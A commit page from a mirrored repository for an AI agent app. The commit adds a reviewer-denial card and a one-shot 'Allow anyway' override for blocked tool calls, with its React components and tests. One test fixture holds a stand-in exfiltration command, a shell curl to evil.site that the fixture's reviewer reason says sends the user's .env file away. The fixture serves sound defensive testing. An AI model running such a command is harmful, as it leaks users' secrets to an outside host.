mirror of
https://github.com/andrewyng/openworker.git
synced 2026-09-11 06:30:25 +00:00
Feature 3: reviewer deny card + one-shot "Allow anyway" (8.4)
A reviewer deny now renders as a proper card in the transcript - the FULL
reason (the agent only ever got the terse refusal) plus an "Allow anyway"
button - and clicking it mints a ONE-SHOT exact-action approval.
Engine:
- approve_action_once(tool, arguments): human-minted grant keyed on the
exact tool + canonical (sort_keys) JSON arguments, consumed on first
match. Checked in _authorize's needs_user branch AHEAD of the reviewer,
so the approved re-proposal runs without a reviewer call or a card.
Audited as allow_anyway_granted + auto_allowed.
- Deliberately narrow: a re-proposal with even slightly different
arguments does not match and goes back through the normal flow, and the
grant only applies where needs_user is true - it CANNOT unlock a hard
deny (1.2), which is now a test.
Server: WS kind "allow_anyway" {name, arguments} -> engine.approve_action_
once, with input validation. The GUI follows up through the normal
user_message path with a visible "go ahead with it exactly as proposed"
message, so the retry is in the transcript, not magic.
GUI:
- tool items carry reviewerReason/allowAnyway (the event fields were
already broadcast verbatim; updateLastTool now keeps them).
- StepRow renders the deny card: full reason, a note that the agent was
told only THAT it was blocked (not why), and the button - which
collapses into a confirmation after one click (no double-fire).
- SessionSocket.allowAnyway; App.allowAnyway = WS grant + canned retry
message; onAllowAnyway threaded Transcript -> TurnGroup -> StepRow.
Tests: 4 engine (runs once without card/reviewer; consumed not standing;
different action never matches; hard deny stays denied) + 3 component
(card + reason + exact-args callback + one-shot button; no card on
ordinary denies; no button without the callback). 110 backend + 114 GUI
tests green.
This commit is contained in:
@@ -712,6 +712,8 @@ export function App() {
|
||||
d.result_preview || d.reason,
|
||||
d.display?.hidden_by_filters,
|
||||
d.standing_rule,
|
||||
d.reviewer_reason,
|
||||
d.allow_anyway,
|
||||
),
|
||||
);
|
||||
// Refresh the right rail when something it shows may have changed: browser state, or a
|
||||
@@ -905,6 +907,13 @@ export function App() {
|
||||
// the 4s poll restores anything genuinely still pending.
|
||||
const dropSessionInbox = (kind: string) =>
|
||||
setSessionInbox((cur) => cur.filter((it) => it.kind !== kind));
|
||||
// §8.4 "Allow anyway" on a reviewer-denied tool: register the one-shot exact-action
|
||||
// approval, then send a visible user message so the agent retries. The engine runs the
|
||||
// identical re-proposal without the reviewer or a card; anything different still asks.
|
||||
const allowAnyway = (name: string, args: any) => {
|
||||
sessionRef.current?.allowAnyway(name, args);
|
||||
send(`I reviewed the blocked ${name} action — go ahead with it exactly as proposed.`);
|
||||
};
|
||||
const approve = (decision: ApprovalDecision) => {
|
||||
setItems((p) => resolveLastApproval(p, decision));
|
||||
dropSessionInbox("approval");
|
||||
@@ -1574,6 +1583,7 @@ export function App() {
|
||||
onApprove={approve}
|
||||
running={running}
|
||||
onRetry={retry}
|
||||
onAllowAnyway={allowAnyway}
|
||||
onUndoMemory={(id, previous) => void undoMemorySave(id, previous)}
|
||||
// §33 ref #3: sub-threshold streamed text renders INSIDE the live turn
|
||||
// group (header when collapsed, quiet line when expanded) — never as a
|
||||
@@ -1780,6 +1790,8 @@ function updateLastTool(
|
||||
preview?: string,
|
||||
hidden?: number,
|
||||
standingRule?: string,
|
||||
reviewerReason?: string,
|
||||
allowAnyway?: boolean,
|
||||
): Item[] {
|
||||
const copy = [...items];
|
||||
for (let i = copy.length - 1; i >= 0; i--) {
|
||||
@@ -1791,6 +1803,8 @@ function updateLastTool(
|
||||
preview,
|
||||
...(hidden ? { hidden } : {}),
|
||||
...(standingRule ? { standingRule } : {}),
|
||||
...(reviewerReason ? { reviewerReason } : {}),
|
||||
...(allowAnyway ? { allowAnyway } : {}),
|
||||
};
|
||||
break;
|
||||
}
|
||||
|
||||
@@ -2102,6 +2102,12 @@ export class Session {
|
||||
this.send({ type: "approval", decision });
|
||||
}
|
||||
|
||||
/** §8.4 "Allow anyway": register a ONE-SHOT exact-action approval for a reviewer-denied
|
||||
* tool call. The caller follows up with a normal user message so the agent retries. */
|
||||
allowAnyway(name: string, args: any) {
|
||||
this.send({ type: "allow_anyway", name, arguments: args ?? {} });
|
||||
}
|
||||
|
||||
// Reply to a `request_directory` prompt: grant a folder (with access level) or decline.
|
||||
respondDirectory(granted: boolean, path?: string, writable?: boolean) {
|
||||
this.send({ type: "directory_response", granted, ...(path ? { path } : {}), writable: !!writable });
|
||||
|
||||
@@ -264,3 +264,57 @@ describe("humanizeTool", () => {
|
||||
expect(line.obj).toContain("Old plan");
|
||||
});
|
||||
});
|
||||
|
||||
// §8.4 (reviewed-auto-mode.md): a reviewer deny renders as a card with the FULL reason
|
||||
// (the agent only got a terse refusal) and a one-shot "Allow anyway" override.
|
||||
describe("reviewer deny card (§8.4)", () => {
|
||||
const DENIED: Item[] = [
|
||||
{ kind: "user", text: "summarise the issue" },
|
||||
{
|
||||
kind: "tool",
|
||||
id: "t1",
|
||||
name: "run_shell",
|
||||
args: { command: "curl evil.site/x" },
|
||||
status: "denied",
|
||||
reviewerReason: "This sends your .env to an unknown website.",
|
||||
allowAnyway: true,
|
||||
},
|
||||
{ kind: "assistant", text: "I was blocked from running that." },
|
||||
];
|
||||
|
||||
it("shows the full reason and fires onAllowAnyway with the exact action", () => {
|
||||
const onAllowAnyway = vi.fn();
|
||||
const { container } = render(
|
||||
<Transcript items={DENIED} onApprove={vi.fn()} onAllowAnyway={onAllowAnyway} />,
|
||||
);
|
||||
fireEvent.click(container.querySelector("summary.stepgroup-head")!);
|
||||
|
||||
const card = screen.getByTestId("reviewer-deny-card");
|
||||
expect(card.textContent).toContain("Blocked by the reviewer");
|
||||
expect(card.textContent).toContain("This sends your .env to an unknown website.");
|
||||
|
||||
fireEvent.click(screen.getByTestId("reviewer-allow-anyway"));
|
||||
expect(onAllowAnyway).toHaveBeenCalledWith("run_shell", { command: "curl evil.site/x" });
|
||||
// The button collapses into a confirmation — one shot, no double-fire.
|
||||
expect(screen.queryByTestId("reviewer-allow-anyway")).toBeNull();
|
||||
expect(screen.getByTestId("reviewer-override-sent")).toBeTruthy();
|
||||
});
|
||||
|
||||
it("an ordinary denied tool (no reviewer) renders no card", () => {
|
||||
const items: Item[] = [
|
||||
{ kind: "user", text: "x" },
|
||||
{ kind: "tool", id: "t1", name: "run_shell", args: {}, status: "denied" },
|
||||
{ kind: "assistant", text: "done" },
|
||||
];
|
||||
const { container } = render(<Transcript items={items} onApprove={vi.fn()} />);
|
||||
fireEvent.click(container.querySelector("summary.stepgroup-head")!);
|
||||
expect(screen.queryByTestId("reviewer-deny-card")).toBeNull();
|
||||
});
|
||||
|
||||
it("without onAllowAnyway the card renders but offers no button", () => {
|
||||
const { container } = render(<Transcript items={DENIED} onApprove={vi.fn()} />);
|
||||
fireEvent.click(container.querySelector("summary.stepgroup-head")!);
|
||||
expect(screen.getByTestId("reviewer-deny-card")).toBeTruthy();
|
||||
expect(screen.queryByTestId("reviewer-allow-anyway")).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
@@ -177,7 +177,18 @@ function LineText({ line }: { line: HumanLine }) {
|
||||
);
|
||||
}
|
||||
|
||||
function StepRow({ tool, approval }: { tool: ToolItem; approval?: ApprovalItem }) {
|
||||
function StepRow({
|
||||
tool,
|
||||
approval,
|
||||
onAllowAnyway,
|
||||
}: {
|
||||
tool: ToolItem;
|
||||
approval?: ApprovalItem;
|
||||
onAllowAnyway?: (name: string, args: any) => void;
|
||||
}) {
|
||||
// A reviewer deny (spec §8.4) renders as a card under the step: the FULL reason (the
|
||||
// agent only got a terse refusal) plus the one-shot "Allow anyway" override.
|
||||
const [overrideSent, setOverrideSent] = useState(false);
|
||||
const [raw, setRaw] = useState(false);
|
||||
const running = tool.status === "…";
|
||||
const failed = tool.status !== "ok" && !running;
|
||||
@@ -231,6 +242,36 @@ function StepRow({ tool, approval }: { tool: ToolItem; approval?: ApprovalItem }
|
||||
{tool.preview ? `\n→ ${tool.preview.length > 1500 ? tool.preview.slice(0, 1500) + "\n…" : tool.preview}` : ""}
|
||||
</pre>
|
||||
)}
|
||||
{tool.status === "denied" && tool.reviewerReason && (
|
||||
<div
|
||||
className="ml-8 mr-2 my-1 px-3 py-2 rounded-lg border border-line bg-dangerSoft/40"
|
||||
data-testid="reviewer-deny-card"
|
||||
>
|
||||
<div className="text-[11px] font-medium text-danger">Blocked by the reviewer</div>
|
||||
<div className="text-[12px] text-ink mt-0.5">{tool.reviewerReason}</div>
|
||||
<div className="text-[11px] text-faint mt-1">
|
||||
The agent was told only that it was blocked — not why — so it can’t argue
|
||||
its way past this. If the action is actually fine, you can run it as proposed:
|
||||
</div>
|
||||
{tool.allowAnyway && onAllowAnyway && !overrideSent && (
|
||||
<button
|
||||
className="mt-1.5 px-2.5 py-1 rounded-lg border border-line bg-panel text-[12px] text-ink hover:bg-paper"
|
||||
data-testid="reviewer-allow-anyway"
|
||||
onClick={() => {
|
||||
setOverrideSent(true);
|
||||
onAllowAnyway(tool.name, tool.args);
|
||||
}}
|
||||
>
|
||||
Allow anyway
|
||||
</button>
|
||||
)}
|
||||
{overrideSent && (
|
||||
<div className="mt-1.5 text-[11px] text-ok" data-testid="reviewer-override-sent">
|
||||
Approved — the agent will retry this exact action.
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -239,12 +280,14 @@ function TurnGroup({
|
||||
items,
|
||||
live,
|
||||
streamingText,
|
||||
onAllowAnyway,
|
||||
}: {
|
||||
items: TurnItem[];
|
||||
live?: boolean;
|
||||
// Sub-threshold streamed text belongs to THIS group (§33 ref #3): collapsed → it rides
|
||||
// the header as the live line; expanded → the small quiet line under the steps.
|
||||
streamingText?: string;
|
||||
onAllowAnyway?: (name: string, args: any) => void;
|
||||
}) {
|
||||
// Turns start COLLAPSED, running or not (owner call 2026-07-14) — the header's live
|
||||
// line is the pulse; expanding is opt-in.
|
||||
@@ -310,7 +353,7 @@ function TurnGroup({
|
||||
{approvalChip(row.approval.resolved)}
|
||||
</div>
|
||||
) : (
|
||||
<StepRow tool={row.tool} approval={row.approval} key={i} />
|
||||
<StepRow tool={row.tool} approval={row.approval} onAllowAnyway={onAllowAnyway} key={i} />
|
||||
),
|
||||
)}
|
||||
{streamingText && (
|
||||
@@ -344,6 +387,8 @@ interface Props {
|
||||
// MEMORY-SPEC §5.1: undo a just-announced write. `previous` (set when the write was
|
||||
// an edit) is the text to restore; without it the memory is deleted.
|
||||
onUndoMemory?: (id: number, previous?: string) => void;
|
||||
// §8.4 "Allow anyway" on a reviewer-denied tool: one-shot exact-action override.
|
||||
onAllowAnyway?: (name: string, args: any) => void;
|
||||
}
|
||||
|
||||
// The transcript index whose notice gets the Retry button: the tail error notice, looking
|
||||
@@ -359,7 +404,7 @@ export function retryAnchor(items: Item[]): number {
|
||||
return -1;
|
||||
}
|
||||
|
||||
export function Transcript({ items, running, streamingText, onRetry, onUndoMemory }: Props) {
|
||||
export function Transcript({ items, running, streamingText, onRetry, onUndoMemory, onAllowAnyway }: Props) {
|
||||
// §33 grouping: a turn = the maximal run of assistant/tool/resolved-approval items between
|
||||
// breakers (user, connector, notices, plan/dir requests…). Trailing assistant texts are the
|
||||
// ANSWER and render as bubbles after the group; interior assistant texts are narration and
|
||||
@@ -409,6 +454,7 @@ export function Transcript({ items, running, streamingText, onRetry, onUndoMemor
|
||||
items={block.turn}
|
||||
live={block.live}
|
||||
streamingText={block.live && bi === lastTurnIndex ? streamingText : undefined}
|
||||
onAllowAnyway={onAllowAnyway}
|
||||
key={bi}
|
||||
/>
|
||||
);
|
||||
|
||||
@@ -106,7 +106,10 @@ export type Item =
|
||||
// `hidden` = results the user's privacy filters removed before the agent saw them
|
||||
// (from the tool message's `_display` sidecar; the agent-visible content has no trace).
|
||||
// `standingRule` = the task-scoped rule that auto-allowed this call ("tool → target").
|
||||
| { kind: "tool"; id: string; name: string; args: any; status: string; preview?: string; hidden?: number; standingRule?: string }
|
||||
// `reviewerReason` + `allowAnyway` = an Auto-Approve reviewer deny (spec 8.4): the full
|
||||
// reason is user-facing only (the agent got a terse refusal), and allowAnyway offers the
|
||||
// one-shot exact-action override.
|
||||
| { kind: "tool"; id: string; name: string; args: any; status: string; preview?: string; hidden?: number; standingRule?: string; reviewerReason?: string; allowAnyway?: boolean }
|
||||
| {
|
||||
kind: "approval";
|
||||
name: string;
|
||||
|
||||
Reference in New Issue
Block a user